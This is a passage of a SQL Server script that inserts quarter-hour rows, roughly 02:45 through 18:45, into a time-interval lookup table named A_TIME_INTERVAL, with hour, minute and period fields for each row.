N'02:45', N'02:45', CAST(N'1899-12-30T02:45:00.000' AS DateTime), CAST(N'1899-12-30T02:59:59.000' AS DateTime), N'02', 2, NULL, N'45', 45, N'2:45:00', N'2:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (12, N'03:00', N'03:00', CAST(N'1899-12-30T03:00:00.000' AS DateTime), CAST(N'1899-12-30T03:14:59.000' AS DateTime), N'03', 3, N'00-29', N'00', 0, N'3:00:00', N'3:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (13, N'03:15', N'03:15', CAST(N'1899-12-30T03:15:00.000' AS DateTime), CAST(N'1899-12-30T03:29:59.000' AS DateTime), N'03', 3, NULL, N'15', 15, N'3:15:00', N'3:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (14, N'03:30', N'03:30', CAST(N'1899-12-30T03:30:00.000' AS DateTime), CAST(N'1899-12-30T03:44:59.000' AS DateTime), N'03', 3, N'30-59', N'30', 30, N'3:30:00', N'3:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (15, N'03:45', N'03:45', CAST(N'1899-12-30T03:45:00.000' AS DateTime), CAST(N'1899-12-30T03:59:59.000' AS DateTime), N'03', 3, NULL, N'45', 45, N'3:45:00', N'3:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (16, N'04:00', N'04:00', CAST(N'1899-12-30T04:00:00.000' AS DateTime), CAST(N'1899-12-30T04:14:59.000' AS DateTime), N'04', 4, N'00-29', N'00', 0, N'4:00:00', N'4:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (17, N'04:15', N'04:15', CAST(N'1899-12-30T04:15:00.000' AS DateTime), CAST(N'1899-12-30T04:29:59.000' AS DateTime), N'04', 4, NULL, N'15', 15, N'4:15:00', N'4:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (18, N'04:30', N'04:30', CAST(N'1899-12-30T04:30:00.000' AS DateTime), CAST(N'1899-12-30T04:44:59.000' AS DateTime), N'04', 4, N'30-59', N'30', 30, N'4:30:00', N'4:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (19, N'04:45', N'04:45', CAST(N'1899-12-30T04:45:00.000' AS DateTime), CAST(N'1899-12-30T04:59:59.000' AS DateTime), N'04', 4, NULL, N'45', 45, N'4:45:00', N'4:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (20, N'05:00', N'05:00', CAST(N'1899-12-30T05:00:00.000' AS DateTime), CAST(N'1899-12-30T05:14:59.000' AS DateTime), N'05', 5, N'00-29', N'00', 0, N'5:00:00', N'5:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (21, N'05:15', N'05:15', CAST(N'1899-12-30T05:15:00.000' AS DateTime), CAST(N'1899-12-30T05:29:59.000' AS DateTime), N'05', 5, NULL, N'15', 15, N'5:15:00', N'5:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (22, N'05:30', N'05:30', CAST(N'1899-12-30T05:30:00.000' AS DateTime), CAST(N'1899-12-30T05:44:59.000' AS DateTime), N'05', 5, N'30-59', N'30', 30, N'5:30:00', N'5:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (23, N'05:45', N'05:45', CAST(N'1899-12-30T05:45:00.000' AS DateTime), CAST(N'1899-12-30T05:59:59.000' AS DateTime), N'05', 5, NULL, N'45', 45, N'5:45:00', N'5:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (24, N'06:00', N'06:00', CAST(N'1899-12-30T06:00:00.000' AS DateTime), CAST(N'1899-12-30T06:14:59.000' AS DateTime), N'06', 6, N'00-29', N'00', 0, N'6:00:00', N'6:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (25, N'06:15', N'06:15', CAST(N'1899-12-30T06:15:00.000' AS DateTime), CAST(N'1899-12-30T06:29:59.000' AS DateTime), N'06', 6, NULL, N'15', 15, N'6:15:00', N'6:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (26, N'06:30', N'06:30', CAST(N'1899-12-30T06:30:00.000' AS DateTime), CAST(N'1899-12-30T06:44:59.000' AS DateTime), N'06', 6, N'30-59', N'30', 30, N'6:30:00', N'6:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (27, N'06:45', N'06:45', CAST(N'1899-12-30T06:45:00.000' AS DateTime), CAST(N'1899-12-30T06:59:59.000' AS DateTime), N'06', 6, NULL, N'45', 45, N'6:45:00', N'6:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (28, N'07:00', N'07:00', CAST(N'1899-12-30T07:00:00.000' AS DateTime), CAST(N'1899-12-30T07:14:59.000' AS DateTime), N'07', 7, N'00-29', N'00', 0, N'7:00:00', N'7:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (29, N'07:15', N'07:15', CAST(N'1899-12-30T07:15:00.000' AS DateTime), CAST(N'1899-12-30T07:29:59.000' AS DateTime), N'07', 7, NULL, N'15', 15, N'7:15:00', N'7:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (30, N'07:30', N'07:30', CAST(N'1899-12-30T07:30:00.000' AS DateTime), CAST(N'1899-12-30T07:44:59.000' AS DateTime), N'07', 7, N'30-59', N'30', 30, N'7:30:00', N'7:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (31, N'07:45', N'07:45', CAST(N'1899-12-30T07:45:00.000' AS DateTime), CAST(N'1899-12-30T07:59:59.000' AS DateTime), N'07', 7, NULL, N'45', 45, N'7:45:00', N'7:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (32, N'08:00', N'08:00', CAST(N'1899-12-30T08:00:00.000' AS DateTime), CAST(N'1899-12-30T08:14:59.000' AS DateTime), N'08', 8, N'00-29', N'00', 0, N'8:00:00', N'8:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (33, N'08:15', N'08:15', CAST(N'1899-12-30T08:15:00.000' AS DateTime), CAST(N'1899-12-30T08:29:59.000' AS DateTime), N'08', 8, NULL, N'15', 15, N'8:15:00', N'8:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (34, N'08:30', N'08:30', CAST(N'1899-12-30T08:30:00.000' AS DateTime), CAST(N'1899-12-30T08:44:59.000' AS DateTime), N'08', 8, N'30-59', N'30', 30, N'8:30:00', N'8:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (35, N'08:45', N'08:45', CAST(N'1899-12-30T08:45:00.000' AS DateTime), CAST(N'1899-12-30T08:59:59.000' AS DateTime), N'08', 8, NULL, N'45', 45, N'8:45:00', N'8:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (36, N'09:00', N'09:00', CAST(N'1899-12-30T09:00:00.000' AS DateTime), CAST(N'1899-12-30T09:14:59.000' AS DateTime), N'09', 9, N'00-29', N'00', 0, N'9:00:00', N'9:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (37, N'09:15', N'09:15', CAST(N'1899-12-30T09:15:00.000' AS DateTime), CAST(N'1899-12-30T09:29:59.000' AS DateTime), N'09', 9, NULL, N'15', 15, N'9:15:00', N'9:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (38, N'09:30', N'09:30', CAST(N'1899-12-30T09:30:00.000' AS DateTime), CAST(N'1899-12-30T09:44:59.000' AS DateTime), N'09', 9, N'30-59', N'30', 30, N'9:30:00', N'9:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (39, N'09:45', N'09:45', CAST(N'1899-12-30T09:45:00.000' AS DateTime), CAST(N'1899-12-30T09:59:59.000' AS DateTime), N'09', 9, NULL, N'45', 45, N'9:45:00', N'9:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (40, N'10:00', N'10:00', CAST(N'1899-12-30T10:00:00.000' AS DateTime), CAST(N'1899-12-30T10:14:59.000' AS DateTime), N'10', 10, N'00-29', N'00', 0, N'10:00:00', N'10:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (41, N'10:15', N'10:15', CAST(N'1899-12-30T10:15:00.000' AS DateTime), CAST(N'1899-12-30T10:29:59.000' AS DateTime), N'10', 10, NULL, N'15', 15, N'10:15:00', N'10:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (42, N'10:30', N'10:30', CAST(N'1899-12-30T10:30:00.000' AS DateTime), CAST(N'1899-12-30T10:44:59.000' AS DateTime), N'10', 10, N'30-59', N'30', 30, N'10:30:00', N'10:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (43, N'10:45', N'10:45', CAST(N'1899-12-30T10:45:00.000' AS DateTime), CAST(N'1899-12-30T10:59:59.000' AS DateTime), N'10', 10, NULL, N'45', 45, N'10:45:00', N'10:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (44, N'11:00', N'11:00', CAST(N'1899-12-30T11:00:00.000' AS DateTime), CAST(N'1899-12-30T11:14:59.000' AS DateTime), N'11', 11, N'00-29', N'00', 0, N'11:00:00', N'11:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (45, N'11:15', N'11:15', CAST(N'1899-12-30T11:15:00.000' AS DateTime), CAST(N'1899-12-30T11:29:59.000' AS DateTime), N'11', 11, NULL, N'15', 15, N'11:15:00', N'11:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (46, N'11:30', N'11:30', CAST(N'1899-12-30T11:30:00.000' AS DateTime), CAST(N'1899-12-30T11:44:59.000' AS DateTime), N'11', 11, N'30-59', N'30', 30, N'11:30:00', N'11:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (47, N'11:45', N'11:45', CAST(N'1899-12-30T11:45:00.000' AS DateTime), CAST(N'1899-12-30T11:59:59.000' AS DateTime), N'11', 11, NULL, N'45', 45, N'11:45:00', N'11:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (48, N'12:00', N'12:00', CAST(N'1899-12-30T12:00:00.000' AS DateTime), CAST(N'1899-12-30T12:14:59.000' AS DateTime), N'12', 12, N'00-29', N'00', 0, N'12:00:00', N'12:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (49, N'12:15', N'12:15', CAST(N'1899-12-30T12:15:00.000' AS DateTime), CAST(N'1899-12-30T12:29:59.000' AS DateTime), N'12', 12, NULL, N'15', 15, N'12:15:00', N'12:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (50, N'12:30', N'12:30', CAST(N'1899-12-30T12:30:00.000' AS DateTime), CAST(N'1899-12-30T12:44:59.000' AS DateTime), N'12', 12, N'30-59', N'30', 30, N'12:30:00', N'12:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (51, N'12:45', N'12:45', CAST(N'1899-12-30T12:45:00.000' AS DateTime), CAST(N'1899-12-30T12:59:59.000' AS DateTime), N'12', 12, NULL, N'45', 45, N'12:45:00', N'12:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (52, N'13:00', N'13:00', CAST(N'1899-12-30T13:00:00.000' AS DateTime), CAST(N'1899-12-30T13:14:59.000' AS DateTime), N'13', 13, N'00-29', N'00', 0, N'13:00:00', N'13:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (53, N'13:15', N'13:15', CAST(N'1899-12-30T13:15:00.000' AS DateTime), CAST(N'1899-12-30T13:29:59.000' AS DateTime), N'13', 13, NULL, N'15', 15, N'13:15:00', N'13:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (54, N'13:30', N'13:30', CAST(N'1899-12-30T13:30:00.000' AS DateTime), CAST(N'1899-12-30T13:44:59.000' AS DateTime), N'13', 13, N'30-59', N'30', 30, N'13:30:00', N'13:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (55, N'13:45', N'13:45', CAST(N'1899-12-30T13:45:00.000' AS DateTime), CAST(N'1899-12-30T13:59:59.000' AS DateTime), N'13', 13, NULL, N'45', 45, N'13:45:00', N'13:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (56, N'14:00', N'14:00', CAST(N'1899-12-30T14:00:00.000' AS DateTime), CAST(N'1899-12-30T14:14:59.000' AS DateTime), N'14', 14, N'00-29', N'00', 0, N'14:00:00', N'14:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (57, N'14:15', N'14:15', CAST(N'1899-12-30T14:15:00.000' AS DateTime), CAST(N'1899-12-30T14:29:59.000' AS DateTime), N'14', 14, NULL, N'15', 15, N'14:15:00', N'14:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (58, N'14:30', N'14:30', CAST(N'1899-12-30T14:30:00.000' AS DateTime), CAST(N'1899-12-30T14:44:59.000' AS DateTime), N'14', 14, N'30-59', N'30', 30, N'14:30:00', N'14:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (59, N'14:45', N'14:45', CAST(N'1899-12-30T14:45:00.000' AS DateTime), CAST(N'1899-12-30T14:59:59.000' AS DateTime), N'14', 14, NULL, N'45', 45, N'14:45:00', N'14:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (60, N'15:00', N'15:00', CAST(N'1899-12-30T15:00:00.000' AS DateTime), CAST(N'1899-12-30T15:14:59.000' AS DateTime), N'15', 15, N'00-29', N'00', 0, N'15:00:00', N'15:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (61, N'15:15', N'15:15', CAST(N'1899-12-30T15:15:00.000' AS DateTime), CAST(N'1899-12-30T15:29:59.000' AS DateTime), N'15', 15, NULL, N'15', 15, N'15:15:00', N'15:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (62, N'15:30', N'15:30', CAST(N'1899-12-30T15:30:00.000' AS DateTime), CAST(N'1899-12-30T15:44:59.000' AS DateTime), N'15', 15, N'30-59', N'30', 30, N'15:30:00', N'15:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (63, N'15:45', N'15:45', CAST(N'1899-12-30T15:45:00.000' AS DateTime), CAST(N'1899-12-30T15:59:59.000' AS DateTime), N'15', 15, NULL, N'45', 45, N'15:45:00', N'15:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (64, N'16:00', N'16:00', CAST(N'1899-12-30T16:00:00.000' AS DateTime), CAST(N'1899-12-30T16:14:59.000' AS DateTime), N'16', 16, N'00-29', N'00', 0, N'16:00:00', N'16:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (65, N'16:15', N'16:15', CAST(N'1899-12-30T16:15:00.000' AS DateTime), CAST(N'1899-12-30T16:29:59.000' AS DateTime), N'16', 16, NULL, N'15', 15, N'16:15:00', N'16:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (66, N'16:30', N'16:30', CAST(N'1899-12-30T16:30:00.000' AS DateTime), CAST(N'1899-12-30T16:44:59.000' AS DateTime), N'16', 16, N'30-59', N'30', 30, N'16:30:00', N'16:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (67, N'16:45', N'16:45', CAST(N'1899-12-30T16:45:00.000' AS DateTime), CAST(N'1899-12-30T16:59:59.000' AS DateTime), N'16', 16, NULL, N'45', 45, N'16:45:00', N'16:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (68, N'17:00', N'17:00', CAST(N'1899-12-30T17:00:00.000' AS DateTime), CAST(N'1899-12-30T17:14:59.000' AS DateTime), N'17', 17, N'00-29', N'00', 0, N'17:00:00', N'17:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (69, N'17:15', N'17:15', CAST(N'1899-12-30T17:15:00.000' AS DateTime), CAST(N'1899-12-30T17:29:59.000' AS DateTime), N'17', 17, NULL, N'15', 15, N'17:15:00', N'17:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (70, N'17:30', N'17:30', CAST(N'1899-12-30T17:30:00.000' AS DateTime), CAST(N'1899-12-30T17:44:59.000' AS DateTime), N'17', 17, N'30-59', N'30', 30, N'17:30:00', N'17:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (71, N'17:45', N'17:45', CAST(N'1899-12-30T17:45:00.000' AS DateTime), CAST(N'1899-12-30T17:59:59.000' AS DateTime), N'17', 17, NULL, N'45', 45, N'17:45:00', N'17:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (72, N'18:00', N'18:00', CAST(N'1899-12-30T18:00:00.000' AS DateTime), CAST(N'1899-12-30T18:14:59.000' AS DateTime), N'18', 18, N'00-29', N'00', 0, N'18:00:00', N'18:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (73, N'18:15', N'18:15', CAST(N'1899-12-30T18:15:00.000' AS DateTime), CAST(N'1899-12-30T18:29:59.000' AS DateTime), N'18', 18, NULL, N'15', 15, N'18:15:00', N'18:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (74, N'18:30', N'18:30', CAST(N'1899-12-30T18:30:00.000' AS DateTime), CAST(N'1899-12-30T18:44:59.000' AS DateTime), N'18', 18, N'30-59', N'30', 30, N'18:30:00', N'18:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (75, N'18:45', N'18:45', 